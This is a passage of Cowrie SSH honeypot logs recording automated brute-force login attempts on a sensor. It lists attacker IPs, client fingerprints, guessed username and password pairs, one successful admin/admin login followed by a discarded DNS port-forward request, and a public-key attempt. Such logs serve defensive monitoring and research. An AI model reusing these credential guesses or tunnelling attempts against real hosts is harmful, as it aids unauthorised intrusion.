aes256-cbc","arcfour","rijndael-cbc@lysator.liu.se"],"macCS":["hmac-md5-etm@openssh.com","hmac-sha1-etm@openssh.com","umac-64-etm@openssh.com","umac-128-etm@openssh.com","hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-ripemd160-etm@openssh.com","hmac-sha1-96-etm@openssh.com","hmac-md5-96-etm@openssh.com","hmac-md5","hmac-sha1","umac-64@openssh.com","umac-128@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-ripemd160","hmac-ripemd160@openssh.com","hmac-sha1-96","hmac-md5-96"],"compCS":["none","zlib@openssh.com","zlib"],"langCS":[""],"message":"SSH client hassh fingerprint: dd9bcf093c355da7000132131cb36fd0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T04:29:35.626481Z","src_ip":"205.210.31.159","session":"68262dec1f9d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.82.20.28","src_port":44080,"dst_ip":"159.203.135.109","dst_port":22,"session":"2d83c3a4a21c","protocol":"ssh","message":"New connection: 103.82.20.28:44080 (159.203.135.109:22) [session: 2d83c3a4a21c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T04:29:37.760101Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T04:29:37.764914Z","src_ip":"103.82.20.28","session":"2d83c3a4a21c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T04:29:38.032001Z","src_ip":"103.82.20.28","session":"2d83c3a4a21c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"checking!@!@%","message":"login attempt [root/checking!@!@%] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T04:29:38.823468Z","src_ip":"103.82.20.28","session":"2d83c3a4a21c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"4.5","message":"Connection lost after 4.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T04:29:42.303309Z","src_ip":"103.82.20.28","session":"2d83c3a4a21c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"9.4","message":"Connection lost after 9.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T04:29:43.170599Z","src_ip":"205.210.31.159","session":"68262dec1f9d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"80.94.92.184","src_port":45088,"dst_ip":"10.17.0.5","dst_port":22,"session":"08999430f328","protocol":"ssh","message":"New connection: 80.94.92.184:45088 (10.17.0.5:22) [session: 08999430f328]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T04:30:45.113917Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T04:30:45.157337Z","src_ip":"80.94.92.184","session":"08999430f328","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T04:30:45.400592Z","src_ip":"80.94.92.184","session":"08999430f328","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"solv","password":"12345","message":"login attempt [solv/12345] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T04:30:47.684645Z","src_ip":"80.94.92.184","session":"08999430f328","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.9","message":"Connection lost after 3.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T04:30:48.975318Z","src_ip":"80.94.92.184","session":"08999430f328","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.77.242.62","src_port":36036,"dst_ip":"159.203.135.109","dst_port":22,"session":"9e4784ab8062","protocol":"ssh","message":"New connection: 103.77.242.62:36036 (159.203.135.109:22) [session: 9e4784ab8062]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T04:33:25.279421Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T04:33:25.290041Z","src_ip":"103.77.242.62","session":"9e4784ab8062","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T04:33:25.532415Z","src_ip":"103.77.242.62","session":"9e4784ab8062","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"09011986","message":"login attempt [root/09011986] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T04:33:26.291553Z","src_ip":"103.77.242.62","session":"9e4784ab8062","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T04:33:27.537312Z","src_ip":"103.77.242.62","session":"9e4784ab8062","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"87.251.64.176","src_port":10528,"dst_ip":"10.17.0.5","dst_port":22,"session":"bac9cde848e1","protocol":"ssh","message":"New connection: 87.251.64.176:10528 (10.17.0.5:22) [session: bac9cde848e1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T04:34:02.563179Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T04:34:02.567593Z","src_ip":"87.251.64.176","session":"bac9cde848e1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"eff4c24daffc8532c160e86e5f006e53","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: eff4c24daffc8532c160e86e5f006e53","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T04:34:02.662824Z","src_ip":"87.251.64.176","session":"bac9cde848e1","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T04:34:02.948772Z","src_ip":"87.251.64.176","session":"bac9cde848e1","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"1.1.1.1","dst_port":53,"src_ip":"87.251.64.176","src_port":0,"message":"direct-tcp connection request to 1.1.1.1:53 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T04:34:03.047954Z","session":"bac9cde848e1","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"1.1.1.1","dst_port":53,"data":"b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","id":0,"message":"discarded direct-tcp forward request 0 to 1.1.1.1:53 with data b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T04:34:03.146764Z","src_ip":"87.251.64.176","session":"bac9cde848e1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.7","message":"Connection lost after 0.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T04:34:03.243479Z","src_ip":"87.251.64.176","session":"bac9cde848e1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"34.124.208.70","src_port":50682,"dst_ip":"10.17.0.5","dst_port":22,"session":"8c26a181ac11","protocol":"ssh","message":"New connection: 34.124.208.70:50682 (10.17.0.5:22) [session: 8c26a181ac11]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T04:34:27.862172Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T04:34:27.865968Z","src_ip":"34.124.208.70","session":"8c26a181ac11","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98ddc5604ef6a1006a2b49a58759fbe6","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha1"],"keyAlgs":["ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98ddc5604ef6a1006a2b49a58759fbe6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T04:34:28.093268Z","src_ip":"34.124.208.70","session":"8c26a181ac11","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"fq73b4ga","message":"login attempt [root/fq73b4ga] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T04:34:28.771223Z","src_ip":"34.124.208.70","session":"8c26a181ac11","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T04:34:30.000231Z","src_ip":"34.124.208.70","session":"8c26a181ac11","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"27.71.230.31","src_port":38744,"dst_ip":"10.17.0.5","dst_port":22,"session":"7aeba4d7bc77","protocol":"ssh","message":"New connection: 27.71.230.31:38744 (10.17.0.5:22) [session: 7aeba4d7bc77]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T04:34:52.226460Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T04:34:52.916739Z","src_ip":"27.71.230.31","session":"7aeba4d7bc77","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T04:34:52.919953Z","src_ip":"27.71.230.31","session":"7aeba4d7bc77","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"137.59.54.34","src_port":46676,"dst_ip":"10.17.0.5","dst_port":22,"session":"9df9b4522218","protocol":"ssh","message":"New connection: 137.59.54.34:46676 (10.17.0.5:22) [session: 9df9b4522218]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T04:34:55.393150Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T04:34:55.396942Z","src_ip":"137.59.54.34","session":"9df9b4522218","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T04:34:55.614542Z","src_ip":"137.59.54.34","session":"9df9b4522218","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Admin001","message":"login attempt [root/Admin001] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T04:34:56.105979Z","src_ip":"27.71.230.31","session":"7aeba4d7bc77","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"69:94:d6:28:41:55:0d:46:fa:79:62:6d:c8:98:75:d7","key":"ssh-dss AAAAB3NzaC1kc3MAAACBAMghMI61l8nmvKfOOGZJEESPbzZkHOUltLIFcFhXjt5cj8urpDUVjOvAwGVSxaWfqmuLOOZbhZ8HeVPJtXWZRf55ZUHrz13sOU/rAfE3XwqVSgsnp0IOQcSUuF6ah5DxfNug4J8br2sfVmWM3B/9nKoqs+YDKGW/imIEw1UXS5dXAAAAFQD8mqJo4Vc+WYWq+OAP08W4bv2UyQAAAIEAt+0tbUhZxprOoWgBn+Z2+mc6M/xQ3+bb+TwgINDg6qhK97jHgA0bPxv42p0U3O9muYnu0OOfWAcd12IeaxQosYa0oN9mBjW4XjGWXUq3trZVBsP8loDae8zjUjvJoJ8B+82uRGMSEFOsB+0a9knJ9gr9ZoLV5TieV5PguSmbh8kAAACAO2gCwr4czah/1IcM6fiTwy5kQNVeGyEUxlpBBgfsPWnm0hGXPOeesSkm2NdUnhAc8Blg/xQKFph3W1Ac8hyuF/OLCdOPte7UUtN9llT7kri2bDDpzCYqTkJEBuK3JZIOFoYxSeC9ARHkg3+aEZvIaXciaUfQIWvOGTYg2zzJsEk=","type":"ssh-dss","message":"public key attempt for user root of type ssh-dss with fingerprint 69:94:d6:28:41:55:0d:46:fa:79:62:6d:c8:98:75:d7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T04:34:56.682417Z","src_ip":"137.59.54.34","session":"9df9b4522218","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"69:94:d6:28:41:55:0d:46:fa:79:62:6d:c8:98:75:d7","key":"ssh-dss AAAAB3NzaC1kc3MAAACBAMghMI61l8nmvKfOOGZJEESPbzZkHOUltLIFcFhXjt5cj8urpDUVjOvAwGVSxaWfqmuLOOZbhZ8HeVPJtXWZRf55ZUHrz13sOU/rAfE3XwqVSgsnp0IOQcSUuF6ah5DxfNug4J8br2sfVmWM3B/9nKoqs+YDKGW/imIEw1UXS5dXAAAAFQD8mqJo4Vc+WYWq+OAP08W4bv2UyQAAAIEAt+0tbUhZxprOoWgBn+Z2+mc6M/xQ3+bb+TwgINDg6qhK97jHgA0bPxv42p0U3O9muYnu0OOfWAcd12IeaxQosYa0oN9mBjW4XjGWXUq3trZVBsP8loDae8zjUjvJoJ8B+82uRGMSEFOsB+0a9knJ9gr9ZoLV5TieV5PguSmbh8kAAACAO2gCwr4czah/1IcM6fiTwy5kQNVeGyEUxlpBBgfsPWnm0hGXPOeesSkm2NdUnhAc8Blg/xQKFph3W1Ac8hyuF/OLCdOPte7UUtN9llT7kri2bDDpzCYqTkJEBuK3JZIOFoYxSeC9ARHkg3+aEZvIaXciaUfQIWvOGTYg2zzJsEk=","type":"ssh-dss","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T04:34:56.685689Z","src_ip":"137.59.54.34","session":"9df9b4522218","protocol":"ssh"}
